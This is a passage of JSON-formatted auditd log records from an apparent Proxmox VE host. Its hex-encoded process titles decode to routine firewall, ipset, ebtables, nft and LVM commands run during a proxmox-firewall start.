proctitle=\"ip6tables-save\""} {"@timestamp":1781965646134,"@rawstring":"node=pve type=PATH msg=audit(1781965646.134:66501): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125424,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.424:59684): proctitle=\"iptables-save\""} {"@timestamp":1781965646125,"@rawstring":"node=pve type=PATH msg=audit(1781965646.125:66500): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125419,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.419:59683): proctitle=69707365740073617665"} {"@timestamp":1781965646125,"@rawstring":"node=pve type=PATH msg=audit(1781965646.125:66500): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125413,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.413:59682): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965646117,"@rawstring":"node=pve type=PATH msg=audit(1781965646.117:66498): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125407,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.407:59681): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965646117,"@rawstring":"node=pve type=PATH msg=audit(1781965646.117:66498): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964124223,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964124.223:59680): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965646109,"@rawstring":"node=pve type=PATH msg=audit(1781965646.109:66497): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964124188,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964124.188:59679): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965646109,"@rawstring":"node=pve type=PATH msg=audit(1781965646.109:66497): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964123011,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964123.011:59678): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965646101,"@rawstring":"node=pve type=PATH msg=audit(1781965646.101:66496): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964123011,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964123.011:59677): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965646101,"@rawstring":"node=pve type=PATH msg=audit(1781965646.101:66496): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964123011,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964123.011:59676): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965646092,"@rawstring":"node=pve type=PATH msg=audit(1781965646.092:66495): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964122999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964122.999:59675): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965646092,"@rawstring":"node=pve type=PATH msg=audit(1781965646.092:66495): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964122999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964122.999:59674): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965646084,"@rawstring":"node=pve type=PATH msg=audit(1781965646.084:66494): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964122999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964122.999:59673): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965646084,"@rawstring":"node=pve type=PATH msg=audit(1781965646.084:66494): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117990,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964117.990:59672): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965646076,"@rawstring":"node=pve type=PATH msg=audit(1781965646.076:66493): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117990,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964117.990:59671): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965646076,"@rawstring":"node=pve type=PATH msg=audit(1781965646.076:66493): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117990,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964117.990:59670): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965646068,"@rawstring":"node=pve type=PATH msg=audit(1781965646.068:66492): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964117.981:59669): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965646068,"@rawstring":"node=pve type=PATH msg=audit(1781965646.068:66492): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964117.981:59668): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965646054,"@rawstring":"node=pve type=PATH msg=audit(1781965646.054:66491): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964117981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964117.981:59667): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965646054,"@rawstring":"node=pve type=PATH msg=audit(1781965646.054:66491): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115395,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.395:59666): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965646049,"@rawstring":"node=pve type=PATH msg=audit(1781965646.049:66490): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.393:59665): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965646049,"@rawstring":"node=pve type=PATH msg=audit(1781965646.049:66490): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115392,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.392:59664): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965646045,"@rawstring":"node=pve type=PATH msg=audit(1781965646.045:66489): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115392,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.392:59663): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965646045,"@rawstring":"node=pve type=PATH msg=audit(1781965646.045:66489): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115388,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.388:59662): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965646043,"@rawstring":"node=pve type=PATH msg=audit(1781965646.043:66488): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.381:59661): proctitle=\"ip6tables-save\""} {"@timestamp":1781965646043,"@rawstring":"node=pve type=PATH msg=audit(1781965646.043:66488): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115375,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.375:59660): proctitle=\"iptables-save\""} {"@timestamp":1781965646042,"@rawstring":"node=pve type=PATH msg=audit(1781965646.042:66487): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115369,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.369:59659): proctitle=\"ip6tables-save\""} {"@timestamp":1781965646037,"@rawstring":"node=pve type=PATH msg=audit(1781965646.037:66486): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115362,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.362:59658): proctitle=\"iptables-save\""} {"@timestamp":1781965646037,"@rawstring":"node=pve type=PATH msg=audit(1781965646.037:66486): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115359,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.359:59657): proctitle=\"ebtables-restore\""} {"@timestamp":1781965646037,"@rawstring":"node=pve type=PATH msg=audit(1781965646.037:66486): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115357,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.357:59656): proctitle=\"ebtables-restore\""} {"@timestamp":1781965646029,"@rawstring":"node=pve type=PATH msg=audit(1781965646.029:66485): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115351,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.351:59655): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965646029,"@rawstring":"node=pve type=PATH msg=audit(1781965646.029:66485): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115346,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.346:59654): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965646019,"@rawstring":"node=pve type=PATH msg=audit(1781965646.019:66484): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115341,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.341:59653): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965646019,"@rawstring":"node=pve type=PATH msg=audit(1781965646.019:66484): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.335:59652): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965646011,"@rawstring":"node=pve type=PATH msg=audit(1781965646.011:66483): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115330,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.330:59651): proctitle=697073657400726573746F7265"} {"@timestamp":1781965646011,"@rawstring":"node=pve type=PATH msg=audit(1781965646.011:66483): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115323,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.323:59650): proctitle=\"ip6tables-save\""} {"@timestamp":1781965646000,"@rawstring":"node=pve type=PATH msg=audit(1781965646.000:66482): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.316:59649): proctitle=\"iptables-save\""} {"@timestamp":1781965646000,"@rawstring":"node=pve type=PATH msg=audit(1781965646.000:66482): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115312,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.312:59648): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965645989,"@rawstring":"node=pve type=PATH msg=audit(1781965645.989:66481): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115310,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.310:59647): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965645989,"@rawstring":"node=pve type=PATH msg=audit(1781965645.989:66481): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115308,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.308:59646): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965644093,"@rawstring":"node=pve type=PATH msg=audit(1781965644.093:66480): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115307,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.307:59645): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965644093,"@rawstring":"node=pve type=PATH msg=audit(1781965644.093:66480): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.303:59644): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965644067,"@rawstring":"node=pve type=PATH msg=audit(1781965644.067:66479): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115297,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.297:59643): proctitle=\"ip6tables-save\""} {"@timestamp":1781965644067,"@rawstring":"node=pve type=PATH msg=audit(1781965644.067:66479): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115289,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.289:59642): proctitle=\"iptables-save\""} {"@timestamp":1781965643799,"@rawstring":"node=pve type=PATH msg=audit(1781965643.799:66478): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115283,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.283:59641): proctitle=69707365740073617665"} {"@timestamp":1781965643799,"@rawstring":"node=pve type=PATH msg=audit(1781965643.799:66478): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.278:59640): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965643797,"@rawstring":"node=pve type=PATH msg=audit(1781965643.797:66477): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964115271,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964115.271:59639): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965643797,"@rawstring":"node=pve type=PATH msg=audit(1781965643.797:66476): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964114109,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964114.109:59638): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965643790,"@rawstring":"node=pve type=PATH msg=audit(1781965643.790:66475): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964114073,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964114.073:59637): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965643790,"@rawstring":"node=pve type=PATH msg=audit(1781965643.790:66475): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964112.973:59636): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965643790,"@rawstring":"node=pve type=PATH msg=audit(1781965643.790:66474): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964112.973:59635): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965643790,"@rawstring":"node=pve type=PATH msg=audit(1781965643.790:66473): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112972,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964112.972:59634): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965642588,"@rawstring":"node=pve type=PATH msg=audit(1781965642.588:66472): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112961,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964112.961:59633): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965642588,"@rawstring":"node=pve type=PATH msg=audit(1781965642.588:66472): item=0 name=\"/usr/bin/find\" inode=260723 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112961,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964112.961:59632): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965642586,"@rawstring":"node=pve type=PATH msg=audit(1781965642.586:66471): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112961,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964112.961:59631): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965642586,"@rawstring":"node=pve type=PATH msg=audit(1781965642.586:66471): item=0 name=\"/usr/bin/cat\" inode=260653 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107955,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964107.955:59630): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965638782,"@rawstring":"node=pve type=PATH msg=audit(1781965638.782:66470): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107955,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964107.955:59629): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965638782,"@rawstring":"node=pve type=PATH msg=audit(1781965638.782:66470): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107954,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964107.954:59628): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965638782,"@rawstring":"node=pve type=PATH msg=audit(1781965638.782:66469): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964107.939:59627): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965638782,"@rawstring":"node=pve type=PATH msg=audit(1781965638.782:66468): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107939,"@rawstring":"node=pve type=PROCTITLE 